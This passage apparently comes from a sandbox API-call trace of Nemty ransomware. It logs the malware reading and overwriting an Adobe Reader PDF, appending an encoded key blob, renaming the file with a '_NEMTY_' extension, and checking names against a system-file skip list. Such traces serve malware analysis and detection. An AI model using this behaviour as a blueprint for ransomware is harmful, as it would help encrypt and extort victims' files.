pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.456] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="OgSSHfx4rFgWMdBerHkr+uaicjJxxwNaaePUbjtVNbjnqQsWF4TpHQTsmJGk5wS9\r\nIvYaChGZOHj+ilE2tl0cJtff6MEdiCnnEDQybYX2tlYtuvQK9JvCzl7xAqs7As/u\r\nlOdnfwinDoLV/LF6++8+fAKgWmb+/nBAD0QbS/kUYXfgXZl3Ak3i+D48H4vvv+QX\r\nFZeUZ6vwbYSp8fC+HzAG+uuWCO08ZO0c48g27AqvETKhxxGXXnR/82wrnjVbe30d\r\n1+BmVrD69MJBjPnWtM7hIAZzam+RyUoS4Ce0QGJtX4CnC8HR2re858fN9i55EPtd\r\nh5344sPqpmDGJdQL/W65eA==\r\n", pcchString=0x653e5dc) returned 1 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.457] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=298272) returned 1 [0172.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.457] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.457] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.468] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.468] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.468] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=298272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48d20 [0172.468] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.470] CloseHandle (hObject=0x3b0) returned 1 [0172.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.470] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.470] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b8290, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a6b8290, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a6b8290, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.472] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b8290, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a6b8290, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a6b8290, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.472] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.472] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a5f070, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19a5f070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a851d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.472] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.473] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.474] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a5f070, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19a5f070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a851d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.474] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0172.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.474] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2=".") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="..") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="...") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="windows") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="$RECYCLE.BIN") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="rsa") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="NTDETECT.COM") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="ntldr") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="MSDOS.SYS") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="IO.SYS") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="boot.ini") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="boot.ini") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="AUTOEXEC.BAT") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="ntuser.dat") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="desktop.ini") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="CONFIG.SYS") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="RECYCLER") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="BOOTSECT.BAK") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="bootmgr") returned 1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="programdata") returned -1 [0172.474] lstrcmpiW (lpString1="Javascripts", lpString2="appdata") returned 1 [0172.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Javascripts", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Javascripts", cchWideChar=11, 